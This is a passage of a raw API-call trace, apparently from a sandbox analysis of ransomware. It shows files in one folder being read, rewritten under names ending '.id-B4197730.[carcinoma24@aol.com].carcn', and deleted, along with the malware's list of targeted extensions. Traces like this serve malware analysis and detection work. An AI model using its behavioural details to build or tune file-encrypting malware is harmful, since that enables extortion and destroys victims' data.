"c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.386] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.386] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.386] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.386] GetLastError () returned 0x0 [0163.386] ReadFile (in: hFile=0x378, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0xd5000, lpOverlapped=0x0) returned 1 [0163.711] WriteFile (in: hFile=0x2d4, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xd5010, lpOverlapped=0x0) returned 1 [0163.723] ReadFile (in: hFile=0x378, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.723] WriteFile (in: hFile=0x2d4, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x100, lpOverlapped=0x0) returned 1 [0163.723] SetEndOfFile (hFile=0x2d4) returned 1 [0163.724] CloseHandle (hObject=0x2d4) returned 1 [0163.736] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.736] SetEndOfFile (hFile=0x378) returned 1 [0164.024] CloseHandle (hObject=0x378) returned 1 [0164.024] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0164.024] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0164.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.025] lstrlenW (lpString=".doc") returned 4 [0164.025] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0164.025] lstrlenW (lpString=".docx") returned 5 [0164.025] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0164.025] lstrlenW (lpString=".pdf") returned 4 [0164.025] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0164.025] lstrlenW (lpString=".xls") returned 4 [0164.025] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0164.025] lstrlenW (lpString=".xlsx") returned 5 [0164.025] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0164.025] lstrlenW (lpString=".ppt") returned 4 [0164.025] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0164.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.025] lstrlenW (lpString=".zip") returned 4 [0164.025] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0164.025] lstrlenW (lpString=".rar") returned 4 [0164.025] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0164.025] lstrlenW (lpString=".bz2") returned 4 [0164.025] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0164.025] lstrlenW (lpString=".7z") returned 3 [0164.025] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0164.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.025] lstrlenW (lpString=".dbf") returned 4 [0164.025] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0164.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.025] lstrlenW (lpString=".1cd") returned 4 [0164.025] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0164.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.025] lstrlenW (lpString=".jpg") returned 4 [0164.025] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0164.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.026] lstrlenW (lpString=".doc") returned 4 [0164.026] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0164.026] lstrlenW (lpString=".docx") returned 5 [0164.026] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0164.026] lstrlenW (lpString=".pdf") returned 4 [0164.026] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0164.026] lstrlenW (lpString=".xls") returned 4 [0164.026] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0164.026] lstrlenW (lpString=".xlsx") returned 5 [0164.026] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0164.026] lstrlenW (lpString=".ppt") returned 4 [0164.026] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0164.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.026] lstrlenW (lpString=".zip") returned 4 [0164.026] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0164.026] lstrlenW (lpString=".rar") returned 4 [0164.026] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0164.026] lstrlenW (lpString=".bz2") returned 4 [0164.026] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0164.026] lstrlenW (lpString=".7z") returned 3 [0164.026] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0164.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.026] lstrlenW (lpString=".dbf") returned 4 [0164.026] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0164.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.026] lstrlenW (lpString=".1cd") returned 4 [0164.026] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0164.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0164.026] lstrlenW (lpString=".jpg") returned 4 [0164.026] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0164.027] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0164.027] lstrlenW (lpString="SetupEngine.dll") returned 15 [0164.027] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.027] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=807256) returned 1 [0164.027] CloseHandle (hObject=0x378) returned 1 [0164.027] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0164.027] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.027] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.027] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0164.028] GetLastError () returned 0x0 [0164.028] ReadFile (in: hFile=0x378, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0xc5158, lpOverlapped=0x0) returned 1 [0164.042] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xc5160, lpOverlapped=0x0) returned 1 [0164.054] ReadFile (in: hFile=0x378, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.054] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf2, lpOverlapped=0x0) returned 1 [0164.054] SetEndOfFile (hFile=0x310) returned 1 [0164.054] CloseHandle (hObject=0x310) returned 1 [0164.520] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.521] SetEndOfFile (hFile=0x378) returned 1 [0164.528] CloseHandle (hObject=0x378) returned 1 [0164.528] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0164.529] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0164.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.529] lstrlenW (lpString=".doc") returned 4 [0164.529] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.529] lstrlenW (lpString=".docx") returned 5 [0164.529] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0164.529] lstrlenW (lpString=".pdf") returned 4 [0164.529] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.529] lstrlenW (lpString=".xls") returned 4 [0164.529] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.529] lstrlenW (lpString=".xlsx") returned 5 [0164.529] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0164.529] lstrlenW (lpString=".ppt") returned 4 [0164.529] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.529] lstrlenW (lpString=".zip") returned 4 [0164.529] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.529] lstrlenW (lpString=".rar") returned 4 [0164.529] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.530] lstrlenW (lpString=".bz2") returned 4 [0164.530] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.530] lstrlenW (lpString=".7z") returned 3 [0164.530] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.530] lstrlenW (lpString=".dbf") returned 4 [0164.530] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.530] lstrlenW (lpString=".1cd") returned 4 [0164.530] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.530] lstrlenW (lpString=".jpg") returned 4 [0164.530] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.530] lstrlenW (lpString=".doc") returned 4 [0164.530] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.530] lstrlenW (lpString=".docx") returned 5 [0164.530] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0164.530] lstrlenW (lpString=".pdf") returned 4 [0164.530] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.531] lstrlenW (lpString=".xls") returned 4 [0164.531] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.531] lstrlenW (lpString=".xlsx") returned 5 [0164.531] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0164.531] lstrlenW (lpString=".ppt") returned 4 [0164.531] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.531] lstrlenW (lpString=".zip") returned 4 [0164.531] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.531] lstrlenW (lpString=".rar") returned 4 [0164.531] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.531] lstrlenW (lpString=".bz2") returned 4 [0164.531] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.531] lstrlenW (lpString=".7z") returned 3 [0164.531] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.531] lstrlenW (lpString=".dbf") returned 4 [0164.531] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.531] lstrlenW (lpString=".1cd") returned 4 [0164.531] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0164.532] lstrlenW (lpString=".jpg") returned 4 [0164.532] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.532] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0164.532] lstrlenW (lpString="sqmapi.dll") returned 10 [0164.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.532] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=144416) returned 1 [0164.532] CloseHandle (hObject=0x378) returned 1 [0164.532] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0164.532] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.532] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.532] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.533] GetLastError () returned 0x0 [0164.533] ReadFile (in: hFile=0x378, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x23420, lpOverlapped=0x0) returned 1 [0164.788] WriteFile (in: hFile=0x314, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x23430, lpOverlapped=0x0) returned 1 [0164.790] ReadFile (in: hFile=0x378, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.790] WriteFile (in: hFile=0x314, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xe8, lpOverlapped=0x0) returned 1 [0164.791] SetEndOfFile (hFile=0x314) returned 1 [0164.799] CloseHandle (hObject=0x314) returned 1 [0164.815] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.816] SetEndOfFile (hFile=0x378) returned 1 [0164.835] CloseHandle (hObject=0x378) returned 1 [0164.843] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0164.845] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0164.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.846] lstrlenW (lpString=".doc") returned 4 [0164.846] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.846] lstrlenW (lpString=".docx") returned 5 [0164.846] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0164.846] lstrlenW (lpString=".pdf") returned 4 [0164.846] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.846] lstrlenW (lpString=".xls") returned 4 [0164.846] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.846] lstrlenW (lpString=".xlsx") returned 5 [0164.846] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0164.846] lstrlenW (lpString=".ppt") returned 4 [0164.846] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.846] lstrlenW (lpString=".zip") returned 4 [0164.846] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.846] lstrlenW (lpString=".rar") returned 4 [0164.846] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.846] lstrlenW (lpString=".bz2") returned 4 [0164.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.846] lstrlenW (lpString=".7z") returned 3 [0164.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.847] lstrlenW (lpString=".dbf") returned 4 [0164.847] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.847] lstrlenW (lpString=".1cd") returned 4 [0164.847] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.847] lstrlenW (lpString=".jpg") returned 4 [0164.847] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.847] lstrlenW (lpString=".doc") returned 4 [0164.847] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.847] lstrlenW (lpString=".docx") returned 5 [0164.847] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0164.847] lstrlenW (lpString=".pdf") returned 4 [0164.847] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.847] lstrlenW (lpString=".xls") returned 4 [0164.847] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.847] lstrlenW (lpString=".xlsx") returned 5 [0164.847] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0164.847] lstrlenW (lpString=".ppt") returned 4 [0164.847] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.847] lstrlenW (lpString=".zip") returned 4 [0164.847] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.847] lstrlenW (lpString=".rar") returned 4 [0164.847] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.847] lstrlenW (lpString=".bz2") returned 4 [0164.847] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.848] lstrlenW (lpString=".7z") returned 3 [0164.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.848] lstrlenW (lpString=".dbf") returned 4 [0164.848] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.848] lstrlenW (lpString=".1cd") returned 4 [0164.848] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0164.848] lstrlenW (lpString=".jpg") returned 4 [0164.848] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.848] lstrcmpiW (lpString1=".msu", lpString2=".carcn") returned 1 [0164.848] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0164.848] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.862] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=5091790) returned 1 [0164.862] CloseHandle (hObject=0x2fc) returned 1 [0164.862] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0164.862] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.862] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0164.866] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.866] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0x0) returned 1 [0164.866] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0164.866] ReadFile (in: hFile=0x2fc, lpBuffer=0x38be058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38be058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0165.030] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0165.030] ReadFile (in: hFile=0x2fc, lpBuffer=0x38fe058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x38fe058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0168.197] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x266fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.197] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x266fc24 | out: lpNewFilePointer=0x0) returned 1 [0168.197] ReadFile (in: hFile=0x2fc, lpBuffer=0x393e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x266fc30, lpOverlapped=0x0 | out: lpBuffer=0x393e058*, lpNumberOfBytesRead=0x266fc30*=0x40000, lpOverlapped=0x0) returned 1 [0168.891] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.892] WriteFile (in: hFile=0x2fc, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x266fca8, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0168.911] SetEndOfFile (hFile=0x2fc) returned 1 [0168.911] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43200b8 [0168.911] SetFilePointerEx 